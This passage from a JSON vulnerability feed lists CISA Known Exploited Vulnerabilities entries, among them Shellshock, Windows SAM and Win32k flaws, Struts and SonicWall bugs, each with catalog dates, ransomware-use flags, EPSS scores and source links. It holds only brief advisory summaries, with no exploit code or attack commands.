instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9981,"percentile":0.99958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0796","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0796 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36934","cveId":"CVE-2021-36934","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SAM Local Privilege Escalation Vulnerability","summary":"If a Volume Shadow Copy (VSS) shadow copy of the system drive is available, users can read the SAM file which would allow any user to escalate privileges to SYSTEM level.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-02-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67252,"percentile":0.99297,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36934","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36934 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-21882","cveId":"CVE-2022-21882","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-04","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-04","dueAt":"2022-02-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59205,"percentile":0.9911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-21882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-21882","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-21882 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-21882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-21882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-1776","cveId":"CVE-2014-1776","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code in the context of the current user.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-07-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82682,"percentile":0.99663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-1776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-1776","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-1776 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-1776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-1776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-6271","cveId":"CVE-2014-6271","aliases":[],"kind":"vulnerability","title":"GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability","summary":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"GNU","product":"Bourne-Again Shell (Bash)","stacks":["GNU","Bourne-Again Shell (Bash)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-07-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-6271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-6271","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-6271 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-6271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-6271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-7169","cveId":"CVE-2014-7169","aliases":[],"kind":"vulnerability","title":"GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability","summary":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code. This CVE correctly remediates the vulnerability in CVE-2014-6271.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"GNU","product":"Bourne-Again Shell (Bash)","stacks":["GNU","Bourne-Again Shell (Bash)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-07-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9994,"percentile":0.99972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-7169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-7169","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-7169 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-7169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-7169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-5689","cveId":"CVE-2017-5689","aliases":[],"kind":"vulnerability","title":"Intel Active Management Technology (AMT), Small Business Technology (SBT), and Standard Manageability Privilege Escalation Vulnerability","summary":"Intel products contain a vulnerability which can allow attackers to perform privilege escalation.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"Intel","product":"Active Management Technology (AMT), Small Business Technology (SBT), and Standard Manageability","stacks":["Intel","Active Management Technology (AMT), Small Business Technology (SBT), and Standard Manageability"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-07-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92189,"percentile":0.99821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-5689&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-5689","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-5689 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-5689&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-5689, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0787","cveId":"CVE-2020-0787","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Background Intelligent Transfer Service (BITS) Improper Privilege Management Vulnerability","summary":"Microsoft Windows BITS is vulnerable to to a privilege elevation vulnerability if it improperly handles symbolic links. An actor can exploit this vulnerability to execute arbitrary code with system-level privileges.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-07-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.42524,"percentile":0.98698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0787&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0787","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0787 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0787&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0787, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5722","cveId":"CVE-2020-5722","aliases":[],"kind":"vulnerability","title":"Grandstream Networks UCM6200 Series SQL Injection Vulnerability","summary":"Grandstream UCM6200 series is vulnerable to an unauthenticated remote SQL injection via crafted HTTP request. Exploitation can allow for code execution as root.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"Grandstream","product":"UCM6200","stacks":["Grandstream","UCM6200"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-07-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84406,"percentile":0.99697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5722&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5722","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5722 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5722&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5722, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20038","cveId":"CVE-2021-20038","aliases":[],"kind":"vulnerability","title":"SonicWall SMA 100 Appliances Stack-Based Buffer Overflow Vulnerability","summary":"SonicWall SMA 100 devies are vulnerable to an unauthenticated stack-based buffer overflow vulnerability where exploitation can result in code execution.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA 100 Appliances","stacks":["SonicWall","SMA 100 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-02-11","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99912,"percentile":0.99967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20038","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20038 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20038, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22587","cveId":"CVE-2022-22587","aliases":[],"kind":"vulnerability","title":"Apple Memory Corruption Vulnerability","summary":"Apple IOMobileFrameBuffer contains a memory corruption vulnerability which can allow a malicious application to execute arbitrary code with kernel privileges.","detail":"CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-28","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-28","dueAt":"2022-02-11","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11638,"percentile":0.96021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22587","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22587 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2006-1547","cveId":"CVE-2006-1547","aliases":[],"kind":"vulnerability","title":"Apache Struts 1 ActionForm Denial-of-Service Vulnerability","summary":"ActionForm in Apache Struts versions before 1.2.9 with BeanUtils 1.7 contains a vulnerability that allows for denial-of-service (DoS).","detail":"CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-21","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts 1","stacks":["Apache Struts","Apache","Struts 1"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-21","dueAt":"2022-07-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54635,"percentile":0.99011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2006-1547&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2006-1547","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2006-1547 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2006-1547&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2006-1547, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0391","cveId":"CVE-2012-0391","aliases":[],"kind":"vulnerability","title":"Apache Struts 2 Improper Input Validation Vulnerability","summary":"The ExceptionDelegator component in Apache Struts 2 before 2.2.3.1 contains an improper input validation vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-21","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts 2","stacks":["Apache Struts","Apache","Struts 2"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-21","dueAt":"2022-07-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.75599,"percentile":0.99516,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0391","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0391 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8453","cveId":"CVE-2018-8453","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Windows Win32k contains a vulnerability that allows an attacker to escalate privileges.","detail":"CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-21","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-21","dueAt":"2022-07-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70042,"percentile":0.99372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8453&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8453","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8453 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8453&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8453, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-35247","cveId":"CVE-2021-35247","aliases":[],"kind":"vulnerability","title":"SolarWinds Serv-U Improper Input Validation Vulnerability","summary":"SolarWinds Serv-U versions 15.2.5 and earlier contain an improper input validation vulnerability that allows attackers to build and send queries without sanitization.","detail":"CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-21","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Serv-U","stacks":["SolarWinds","Serv-U"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-21","dueAt":"2022-02-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03453,"percentile":0.88932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-35247&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-35247","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-35247 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-35247&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-35247, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11978","cveId":"CVE-2020-11978","aliases":[],"kind":"vulnerability","title":"Apache Airflow Command Injection","summary":"A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your 